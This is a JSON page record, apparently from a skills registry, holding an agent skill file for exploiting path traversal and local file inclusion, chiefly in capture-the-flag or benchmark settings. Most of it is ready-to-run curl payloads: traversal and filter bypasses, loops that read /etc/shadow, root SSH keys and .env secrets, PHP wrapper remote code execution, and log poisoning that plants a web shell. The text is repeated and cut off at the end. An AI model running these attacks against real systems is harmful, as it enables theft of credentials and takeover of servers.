[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFRHKPJKV7SCYRF2E1MB51":3,"skill-same:01M7DFRHKPJKV7SCYRF2E1MB51":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFRHKPJKV7SCYRF2E1MB51","lfi",null,"Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter\u002Finput\u002Fdata wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ..\u002F  traversal, local file read, PHP wrappers, or sensitive file disclosure.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Flfi\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: lfi\ndescription: \"Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter\u002Finput\u002Fdata wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ..\u002F  traversal, local file read, PHP wrappers, or sensitive file disclosure.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"lfi, local file inclusion, path traversal, directory traversal, file read, php wrapper, log poisoning, file disclosure, information_disclosure, static resource, file download, include, require, file path, dot dot slash, ..\u002F, path manipulation, poison inclusion, deprecated, php filter, php input, source code read\"\n  tags: web-application, lfi, path-traversal, file-inclusion, information-disclosure\n  mitre_attack: T1190, T1005\n---\n\n# Path Traversal \u002F Local File Inclusion (LFI)\n\nExploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download\u002Fdisplay endpoints, template inclusion, or static resource handlers.\n\n## Precondition — Use Recon Handoff First\n\nIf the recon handoff (`recon\u002FSUMMARY.md` `RECON_HANDOFF:` line) names a\nspecific file\u002Fpath parameter (e.g. `\u002F\u003Cendpoint>?file=`, `\u002F\u003Cendpoint>?path=`,\n`\u002F\u003Cendpoint>?name=`), START with the parameter named in the handoff. Do\nNOT run `gobuster`\u002F`ffuf`\u002F`dirb` against the host before testing the\nhandoff parameter — recon already enumerated the surface. The Detection\nblock below is for engagements where NO recon handoff exists.\n\nThe first 3 commands you run in this skill MUST target the recon-named\nparameter with these payload classes (one per command):\n\n1. plain traversal — `..\u002F..\u002F..\u002Fetc\u002Fpasswd`\n2. stripped-traversal bypass — `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n3. PHP wrapper — `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u003Cfile>`\n\nOnly if all three return baseline-matched response (per the\n§\"Response Body Verification\" check) should you consider broader endpoint\ndiscovery — and that discovery belongs in `exploit\u002FPIVOT.md` first,\ndocumenting (a) what payload classes you tried against the handoff\nparameter, (b) why the handoff vector is exhausted, (c) the new surface\nyou are moving to.\n\n## Detection\n```bash\n# Basic path traversal probes on common parameters\nfor param in file name path page template doc include src resource filename load; do\n  resp=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"http:\u002F\u002F\u003CTARGET>\u002F?$param=..\u002F..\u002F..\u002Fetc\u002Fpasswd\")\n  [ \"$resp\" != \"404\" ] && echo \"Param '$param' returned $resp\"\ndone\n\n# Test traversal depth\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fetc\u002Fpasswd'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd'\n\n# URL-encoded traversal\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'\n\n# Double URL-encoded (when server decodes twice)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'\n\n# Null byte (older PHP \u003C 5.3.4)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg'\n\n# Path in URL path segment\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F..%2f..%2f..%2fetc\u002Fpasswd'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffiles\u002F....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd'\n```\n\n## Server-Level Path Traversal (Nginx Alias Off-by-Slash)\n\nDistinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy \u002F static-asset \u002F admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending `\u002F`, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal.\n\n**Fingerprint** (any of these is enough to test):\n- `Server: nginx` response header\n- A path `\u002Fprefix` (no trailing slash) returns 301 redirecting to `\u002Fprefix\u002F` — canonical signature of `location \u002Fprefix` (no slash) with a separate `location \u002Fprefix\u002F` (with slash)\n- Static assets served under a path prefix (`\u002Fstatic`, `\u002Fassets`, `\u002Fimages`, `\u002Fadmin`, `\u002Ffiles`, `\u002Fuploads`)\n\n**Exploit pattern** — append `..\u002F` DIRECTLY after the prefix (no slash between):\n\n```bash\n# For each prefix discovered in recon (gobuster\u002Fffuf or 301-redirect probe):\nfor prefix in admin static assets images files uploads docs api; do\n  STATUS=$(curl -s -o \u002Ftmp\u002Falias_${prefix}.txt -w '%{http_code}' \"http:\u002F\u002F\u003CTARGET>\u002F${prefix}..\u002Fetc\u002Fpasswd\")\n  SIZE=$(wc -c \u003C \u002Ftmp\u002Falias_${prefix}.txt)\n  echo \"${prefix}: status=${STATUS} size=${SIZE}\"\n  grep -c 'root:' \u002Ftmp\u002Falias_${prefix}.txt\ndone\n\n# Then walk parents to find sensitive files near the alias root:\nPREFIX=\"admin\"   # the winning prefix from above\nfor target in etc\u002Fpasswd .env flag.txt flag config.php settings.py ..\u002F.env ..\u002Fflag.txt; do\n  curl -s \"http:\u002F\u002F\u003CTARGET>\u002F${PREFIX}..\u002F${target}\" | head -5\ndone\n```\n\n**Why it works**: when `location \u002Fprefix` lacks the trailing slash but `alias \u002Ftarget\u002F` has one, nginx strips the URI's literal `\u002Fprefix` portion and concatenates the rest with the alias target. Request `\u002Fprefix..\u002Ffoo` → nginx removes `\u002Fprefix` → leaves `..\u002Ffoo` → resolves against `\u002Ftarget\u002F` → `\u002Ftarget\u002F..\u002Ffoo` = parent-directory access.\n\n**Distinguishing from `root` directive**: only `alias` is affected. A `location \u002Fstatic { root \u002Fvar\u002Fwww\u002F; }` block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so `\u002Fstatic..\u002Fetc\u002Fpasswd` yields `\u002Fvar\u002Fwww\u002Fstatic..\u002Fetc\u002Fpasswd` (no traversal). The 301-redirect fingerprint is the cleanest way to tell them apart without reading the config.\n\n**Decision rule**: when LFI tag is in scope AND the server is nginx AND no PHP-parameter LFI is found, run the alias probe across EVERY discovered prefix before parameter fuzzing. The agent's pattern-completion failure mode is to recognize the nginx-alias concept but apply it only to one (often wrong) prefix — test all of them.\n\n## Credential\u002FSecret File Discovery\n```bash\n# Try all common sensitive file locations via path traversal\nfor f in \u002Fetc\u002Fpasswd \u002Fetc\u002Fshadow \u002Froot\u002F.ssh\u002Fid_rsa \\\n          \u002Fvar\u002Fwww\u002Fhtml\u002F.env \u002Fapp\u002F.env \u002Fapp\u002Fconfig.py \u002Fapp\u002Fsettings.py \\\n          \u002Fopt\u002Fapp\u002Fconfig.json \u002Fsrv\u002Fapp\u002F.env; do\n  echo \"=== $f ===\" && curl -s \"http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002F..$f\"\ndone\n\n# Also try reading from absolute path if misconfigured\nfor f in \u002F.env \u002Fapp\u002F.env \u002Fvar\u002Fwww\u002Fhtml\u002F.env \u002Fetc\u002Fpasswd; do\n  echo \"=== direct $f ===\" && curl -s \"http:\u002F\u002F\u003CTARGET>\u002Ffile?name=$f\"\ndone\n\n# Check environment variables (if \u002Fproc accessible)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron' | tr '\\0' '\\n' | grep -iE 'secret|key|token|pass|cred'\n\n# Check application config files for secrets\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fvar\u002Fwww\u002Fhtml\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fapp\u002F.env'\n```\n\n## Bypass Techniques\n```bash\n# If ..\u002F is stripped once (use ....\u002F\u002F which becomes ..\u002F after stripping)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd'\n\n# If path must start with expected directory\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=\u002Fvar\u002Fwww\u002Fhtml\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd'\n\n# Mixed encoding\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..%252f..%252f..%252fetc\u002Fpasswd'\n\n# Absolute path (misconfigured path join)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=\u002Fetc\u002Fpasswd'\n\n# Windows paths (if Windows target)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\\..\\..\\..\\windows\\win.ini'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..%5c..%5c..%5cwindows%5cwin.ini'\n```\n\n## Response Body Verification (MANDATORY for path-traversal hits)\n\nA 200 status code on a traversal request does NOT mean the file was read. Common false-success patterns:\n- Web server fallback: nginx\u002FApache serves index.html when the requested file is not in the alias root\n- Application catch-all: framework returns a default \"page not found\" template with 200 status\n- WAF response: returns boilerplate page with 200 instead of 403\n\n**MANDATORY verification before treating any traversal hit as success**:\n\n```bash\n# Save the suspect response\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\u003Ctraversal_path>\" -o \u002Ftmp\u002Fprobe.txt\nSIZE=$(wc -c \u003C \u002Ftmp\u002Fprobe.txt)\n\n# 1. Compare size to baseline (homepage \u002F 404 page)\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\" -o \u002Ftmp\u002Fbaseline.txt\nBASELINE=$(wc -c \u003C \u002Ftmp\u002Fbaseline.txt)\nif [ \"$SIZE\" = \"$BASELINE\" ]; then\n    echo \"FAIL: response size matches homepage — server is serving fallback, NOT the target file\"\nfi\n\n# 2. Grep for file-format signatures (depends on what file you're reading)\ngrep -E '^root:x:0:0|^[a-z_-]+:[*x!]:' \u002Ftmp\u002Fprobe.txt && echo \"PASS: looks like \u002Fetc\u002Fpasswd\"\ngrep -E '^\u003C\\?php|^#!\u002F' \u002Ftmp\u002Fprobe.txt && echo \"PASS: looks like a script source\"\ngrep -E '^Linux|^[0-9.]+ [0-9.]+' \u002Ftmp\u002Fprobe.txt && echo \"PASS: looks like \u002Fproc content\"\nfile \u002Ftmp\u002Fprobe.txt | grep -v 'HTML\\|empty' && echo \"PASS: file(1) detected non-HTML content\"\n\n# 3. Try a known-content control file BEFORE concluding the bypass works\n# \u002Fetc\u002Fhostname is short (1 line), absolutely not HTML\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\u003Ctraversal_prefix>etc\u002Fhostname\" -o \u002Ftmp\u002Fhostname.txt\nHOSTNAME_SIZE=$(wc -c \u003C \u002Ftmp\u002Fhostname.txt)\nif [ \"$HOSTNAME_SIZE\" -lt 100 ] && grep -qE '^[a-z0-9.-]+$' \u002Ftmp\u002Fhostname.txt; then\n    echo \"PASS: hostname read works — bypass confirmed, now retry target file\"\nfi\n```\n\n**Decision rule**: If suspect response size matches homepage\u002Fbaseline AND no file-format signature is present, the bypass is NOT working — pivot to a different technique (PHP wrappers, log poisoning, different traversal prefix). Do NOT iterate on the same path with different filenames; the path-validation layer is winning.\n\n**Anti-pattern**: getting a 200 with a body whose size matches the homepage on `\u002Fimages..\u002Fetc\u002Fpasswd` (or similar nginx alias bypass) and treating it as a hit. The body bytes are homepage HTML — the alias bypass was syntactic only, not content-bearing. With this verification rule, the size match is detected in one call and the agent pivots to wrapper techniques instead of iterating filenames.\n\n## PHP Wrappers (PHP LFI)\n```bash\n# Read source code via php:\u002F\u002Ffilter (base64-encoded output)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php' | base64 -d\n\n# RCE via php:\u002F\u002Finput (if allow_url_include=On)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=php:\u002F\u002Finput' -d '\u003C?php system(\"cat \u002F.env\"); ?>'\n\n# RCE via data:\u002F\u002F wrapper\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA\u002FPg=='\n# The base64 decodes to: \u003C?php system(\"id\"); ?> — replace with desired command\n\n# Expect wrapper\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=expect:\u002F\u002Fcat+\u002F.env'\n```\n\n## LFI to RCE via Log Poisoning\n```bash\n# 1. Poison Apache\u002FNginx access log with PHP code in User-Agent\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002F' -H 'User-Agent: \u003C?php system($_GET[\"cmd\"]); ?>'\n\n# 2. Include the log file to execute injected PHP\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=cat+\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log&cmd=cat+\u002F.env'\n\n# Alternative log paths\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fhttpd\u002Faccess_log&cmd=cat+\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Ffd\u002F1&cmd=cat+\u002F.env'\n```\n\n## LFI to RCE via \u002Fproc\n```bash\n# Read \u002Fproc\u002Fself\u002Fenviron for env variables\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron'\n\n# If environment is readable, poison it via headers\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron' \\\n  -H 'User-Agent: \u003C?php system(\"cat \u002F.env\"); ?>'\n```\n\n## Decision Tree\n```\nLFI identified?\n├── Can read \u002Fetc\u002Fpasswd via ..\u002F → Confirmed plain traversal\n│   ├── Try sensitive files directly → \u002F.env, \u002Fapp\u002F.env, \u002Fapp\u002Fconfig.py\n│   ├── Try env vars → \u002Fproc\u002Fself\u002Fenviron | grep -iE 'secret|key|token|pass'\n│   ├── PHP target → Try php:\u002F\u002Ffilter, php:\u002F\u002Finput, data:\u002F\u002F\n│   └── Try log poisoning → Inject via User-Agent, include log\n├── Traversal returns 200 but NO useful content (the \"protected\" pattern)\n│   ├── DO NOT iterate path encoding — content protection ≠ path filter\n│   ├── MANDATORY: Try PHP stream wrappers FIRST:\n│   │   ├── php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002Fconfig.php\n│   │   ├── php:\u002F\u002Ffilter\u002Fread=convert.base64-encode\u002Fresource=\u002Fapp\u002Fconfig.php (absolute)\n│   │   ├── php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=..\u002Fetc\u002Fshadow (encoding chain)\n│   │   └── data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA\u002FPg== (RCE if allow_url_include)\n│   ├── Then try log poisoning (Apache access.log) + include log path\n│   └── Then try expect:\u002F\u002Fid (if expect wrapper enabled)\n└── Blocked at path-validation layer (404 or rejection)\n    ├── Try encoding → URL-encode, double-encode, null byte\n    ├── Try ....\u002F\u002F → Survives single-pass stripping\n    └── Try absolute path → \u002Fetc\u002Fpasswd without ..\u002F\n```\n\n## Protected LFI Escalation Rule (MANDATORY)\n\nWhen a challenge contains \"protected\", \"patched\", \"hardened\", or similar in its name\u002Ftags AND traversal returns 200 with no useful content, the protection is at the PHP-include layer. The protection class determines the bypass class — wrappers ≠ universal solution.\n\n**Step 0 (MANDATORY before wrappers) — diagnose the protection class.**\n\nProbe in this exact order. The first probe that returns content reveals the protection type and pins the bypass.\n\n```bash\n# Probe A — single-pattern strip filter (`str_replace('..\u002F', '', $in)`)?\n# If only one pattern is stripped, `....\u002F\u002F` collapses to `..\u002F` after one removal pass.\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\" -o \u002Ftmp\u002Flfi_a.txt\ngrep -c 'root:' \u002Ftmp\u002Flfi_a.txt   # >=1 → Probe A wins; continue with path bypass\n\n# Probe A2 — sequential multi-pattern strip (`str_replace(['..\u002F', '.\u002F', '..\\\\', '.\\\\'], '', $in)`)?\n# When Probe A returns empty or \"Post not found\"-style blocked response, the filter is\n# likely an ARRAY of patterns applied SEQUENTIALLY (each pattern sees the residue of\n# the previous pattern's removal). `....\u002F\u002F` fails because pass-1 leaves `.\u002F` which\n# pass-2 catches. Use `.....\u002F\u002F\u002F` (5 dots + 3 slashes) — pass-1 removes `..\u002F` at offset 3\n# leaving `...\u002F\u002F`, pass-2 removes `.\u002F` at offset 2 leaving `..\u002F`, passes 3\u002F4 (backslash\n# variants) find nothing.\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=.....\u002F\u002F\u002F.....\u002F\u002F\u002F.....\u002F\u002F\u002Fetc\u002Fpasswd\" -o \u002Ftmp\u002Flfi_a2.txt\ngrep -c 'root:' \u002Ftmp\u002Flfi_a2.txt   # >=1 → Probe A2 wins; sequential filter confirmed\n\n# Probe B — null-byte \u002F PHP \u003C 5.3 truncation?\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\" -o \u002Ftmp\u002Flfi_b.txt\ngrep -c 'root:' \u002Ftmp\u002Flfi_b.txt   # >=1 → Probe B wins; bypass is %00 + extension append\n\n# Probe C — wrapper acceptance (file_exists() NOT a gate)?\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php\" \\\n  -o \u002Ftmp\u002Flfi_c.txt\n[ -s \u002Ftmp\u002Flfi_c.txt ] && base64 -d \u002Ftmp\u002Flfi_c.txt 2>\u002Fdev\u002Fnull | head -3   # non-empty → Probe C wins; wrappers viable\n```\n\n**Branch by winner:**\n\n- **Probe A wins (single-pattern collapse)** — `....\u002F\u002F` strips to `..\u002F` per stripping pass. Target the flag DIRECTLY: `curl 'http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=....\u002F\u002F....\u002F\u002F....\u002F\u002F\u003CFLAG_FILE_GUESS>'` where `\u003CFLAG_FILE_GUESS>` comes from the benchmark skill if BENCHMARK_MODE=1, otherwise `\u002Fetc\u002Fpasswd` to confirm primitive then app-config files. Do NOT try wrappers — they will silently fail because `file_exists()` is the gate.\n- **Probe A2 wins (sequential array collapse)** — `.....\u002F\u002F\u002F` survives the cascading multi-pattern strip. Target the flag with the SAME depth as Probe A: `curl 'http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=.....\u002F\u002F\u002F.....\u002F\u002F\u002F.....\u002F\u002F\u002F\u003CFLAG_FILE_GUESS>'`. Count directories between the include base path and the target file; one `.....\u002F\u002F\u002F` per level. Wrappers will also silently fail under this filter.\n- **Probe B wins (null-byte)** — append `%00\u003Cexpected_ext>` (e.g., `%00.png`, `%00.html`) to any path. Works on PHP \u003C 5.3 with magic_quotes_gpc off.\n- **Probe C wins (wrappers accepted)** — proceed to the wrapper escalation list below.\n- **All probes return same blank response** — protection is at `realpath()` or `open_basedir`. ONLY then proceed to wrapper escalation; if wrappers also fail, pivot to log poisoning.\n\n**Wrapper escalation (only when Probe C wins or all probes blank):**\n\n**STEP W1 (MANDATORY — wrapper availability gate)**: Before ANY traversal-wrapper combo, confirm wrappers are accepted using a **known-good resource WITHOUT traversal**. Use the original whitelisted filename or `index.php`. A 200 response with a clean baseline (not the blocked \"no post\"\u002F\"not found\" template) and decodable base64 output proves wrappers work. If this baseline returns the SAME blocked response as the original request, wrappers are off at the PHP layer (`allow_url_fopen=Off` or filter strips `php:\u002F\u002F`) — **DO NOT iterate wrappers; jump to STEP W5 (log poisoning)**.\n\n```bash\n# STEP W1 — wrapper availability gate (no traversal)\n# CRITICAL: send the wrapper as a RAW query string. Never use --data-urlencode\n# for php:\u002F\u002F URLs — it percent-encodes `:` and `\u002F` into `%3A%2F%2F`, which the\n# filter blocks at the string-match layer before PHP even sees it, producing\n# a guaranteed false negative (\"wrappers blocked\" when wrappers actually work).\nWHITELISTED=\"\u003Cknown_good_filename.php>\"   # e.g. ScriptKiddie.php, index.php\ncurl -sS \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=${WHITELISTED}\" \\\n  -o \u002Ftmp\u002Fw1.txt\n[ -s \u002Ftmp\u002Fw1.txt ] && base64 -d \u002Ftmp\u002Fw1.txt 2>\u002Fdev\u002Fnull | head -3   # readable PHP\u002FHTML → wrappers OK\n\n# Wrong forms that produce false negatives:\n# curl ... --data-urlencode \"id=php:\u002F\u002Ffilter\u002F...\"          # encodes `:\u002F\u002F` → blocked\n# curl ... -G --data-urlencode \"id=php:\u002F\u002Ffilter\u002F...\"       # same\n# curl ... -d \"id=php%3A%2F%2Ffilter%2F...\"                # pre-encoded → same\n```\n\nIf decodable PHP\u002FHTML appears → wrappers OK → proceed to W2-W4. If output matches the blocked baseline byte-for-byte (`cmp \u002Ftmp\u002Fw1.txt \u002Ftmp\u002Fbaseline_blocked.txt`) → wrappers BLOCKED → skip W2-W4 and jump to W5.\n\n1. **STEP W2** — `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002Fconfig.php` (and other relative\u002Fabsolute target paths) — bypasses content filters by reading file as base64 stream\n2. **STEP W3** — `php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=...` — alternate encoding to defeat output sanitization\n3. **STEP W4** — Filter chains: `php:\u002F\u002Ffilter\u002Fread=convert.base64-encode|string.rot13\u002Fresource=...` and `data:\u002F\u002Ftext\u002Fplain;base64,\u003CPHP_PAYLOAD_B64>` (only if `allow_url_include=On`)\n4. **STEP W5 (MANDATORY when W1 fails OR W2-W4 do not yield flag) — log poisoning**. Wrapper-agnostic: survives `allow_url_fopen=Off`.\n   ```bash\n   # Poison Apache\u002FNginx access log via User-Agent injection\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\" -H 'User-Agent: \u003C?php system($_GET[\"c\"]); ?>'\n   # Include the log via LFI traversal — chain with whichever bypass won Probe A\u002FB\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=....\u002F\u002F....\u002F\u002F....\u002F\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&c=cat+\u002FFLAG.php\"\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log&c=id\"\n   # Also try: \u002Fvar\u002Flog\u002Fapache2\u002Ferror.log, \u002Fvar\u002Flog\u002Fhttpd\u002Faccess_log, \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n   ```\n5. **STEP W6** — session-file poisoning when log paths inaccessible: PHP serializes sessions to `\u002Fvar\u002Flib\u002Fphp\u002Fsessions\u002Fsess_\u003CPHPSESSID>`. Inject PHP into a session-stored field (username, search-history), then include the session file.\n\n**Critical pin**: If `post.php` (or equivalent) source shows `if (file_exists($file)) { include($file); }`, wrappers are dead by design — `file_exists()` returns false for `php:\u002F\u002F`, `data:\u002F\u002F`, `expect:\u002F\u002F` on default PHP. Step 0 Probe A or B must win, OR the bypass is a real-file path like log poisoning where the log file actually exists on disk.\n\n```bash\n# Wrapper escalation examples — replace \u003CTARGET_FILE> with the app's config\u002Fsource file\nTARGET_FILE=\"config.php\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002F$TARGET_FILE\" | base64 -d\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=php:\u002F\u002Ffilter\u002Fread=convert.base64-encode\u002Fresource=\u002Fapp\u002F$TARGET_FILE\" | base64 -d\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=..\u002F$TARGET_FILE\" | tr 'A-Za-z' 'N-ZA-Mn-za-m'\n```\n\n**Pivot discipline**: After confirming traversal-syntax-works-no-content, the next move is wrappers — not more encoding variants on the same broken traversal. If wrappers also fail to return interpretable content, pivot to log poisoning. Encoding\u002FCVE iteration on a syntactically-working-but-content-blocked traversal does not change the underlying block.\n\n**Anti-pattern**: Spending the dispatch on path\u002Fencoding\u002FCVE variants after diagnosing content-protection, never trying wrappers. With this rule the wrapper is the 1st post-diagnosis attempt.\n","# Path Traversal \u002F Local File Inclusion (LFI)\n\nExploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download\u002Fdisplay endpoints, template inclusion, or static resource handlers.\n\n## Precondition — Use Recon Handoff First\n\nIf the recon handoff (`recon\u002FSUMMARY.md` `RECON_HANDOFF:` line) names a\nspecific file\u002Fpath parameter (e.g. `\u002F\u003Cendpoint>?file=`, `\u002F\u003Cendpoint>?path=`,\n`\u002F\u003Cendpoint>?name=`), START with the parameter named in the handoff. Do\nNOT run `gobuster`\u002F`ffuf`\u002F`dirb` against the host before testing the\nhandoff parameter — recon already enumerated the surface. The Detection\nblock below is for engagements where NO recon handoff exists.\n\nThe first 3 commands you run in this skill MUST target the recon-named\nparameter with these payload classes (one per command):\n\n1. plain traversal — `..\u002F..\u002F..\u002Fetc\u002Fpasswd`\n2. stripped-traversal bypass — `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n3. PHP wrapper — `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u003Cfile>`\n\nOnly if all three return baseline-matched response (per the\n§\"Response Body Verification\" check) should you consider broader endpoint\ndiscovery — and that discovery belongs in `exploit\u002FPIVOT.md` first,\ndocumenting (a) what payload classes you tried against the handoff\nparameter, (b) why the handoff vector is exhausted, (c) the new surface\nyou are moving to.\n\n## Detection\n```bash\n# Basic path traversal probes on common parameters\nfor param in file name path page template doc include src resource filename load; do\n  resp=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"http:\u002F\u002F\u003CTARGET>\u002F?$param=..\u002F..\u002F..\u002Fetc\u002Fpasswd\")\n  [ \"$resp\" != \"404\" ] && echo \"Param '$param' returned $resp\"\ndone\n\n# Test traversal depth\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fetc\u002Fpasswd'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd'\n\n# URL-encoded traversal\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'\n\n# Double URL-encoded (when server decodes twice)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'\n\n# Null byte (older PHP \u003C 5.3.4)\ncurl -s 